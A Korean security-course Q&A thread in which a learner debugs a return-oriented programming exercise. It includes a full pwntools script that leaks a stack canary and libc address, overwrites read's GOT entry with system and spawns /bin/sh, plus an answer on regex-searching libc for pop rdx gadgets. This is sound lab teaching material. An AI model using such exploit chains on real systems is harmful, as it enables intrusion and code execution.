실행 중 rdx=0이 됩니다.

32번째 줄에 적당히 gdb.attach를 걸고 디버깅을 하며 pop rsi; pop r15; ret 부분에서 rdi=0, rsi=read함수 주소가 잘 나오는데 rdx는 0으로 나옵니다.
실습에서는 rdx가 충분히 크다고 되어있는데 syscall 직전에서 멈췄을 때도 이렇게 nbytes가 0이 됩니다.
rdx=0
혹시 해서 pop rdx; ret 가젯을 찾아봤지만 libc(ubuntu 20.04: libc 2.31)에도 없습니다.
pop rdx 가젯 없음
이제 어떻게 해야 할 지 모르겠습니다...

코드입니다.

from pwn import *
def slog(name, addr):
	return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
libc = ELF("./libc-2.31-x64.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
ret = 0x00000000004005a9
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
gdb.attach(p)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(ret) + p64(system) + b"/bin/sh\x00")
p.interactive()
#시스템_해킹 #공격기법 #rop
작성자 정보
답변 1
5unkn0wn
강의 수강: 50

레지스터 상황은 익스플로잇 환경에 따라 달라지기 때문에 rdx 값이 다른 값으로 세팅되어 있을 수도 있습니다.
libc에서 가젯을 찾을 때는 "pop rdx ; ret" 이 아닌 "pop rdx ; .*.ret"과 같이 정규표현식을 이용해 grep하여 "pop rdx ; pop r12 ; ret" 과 같은 케이스도 함께 찾아질 수 있도록 검색해야 합니다.

2022.02.16. 11:35
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기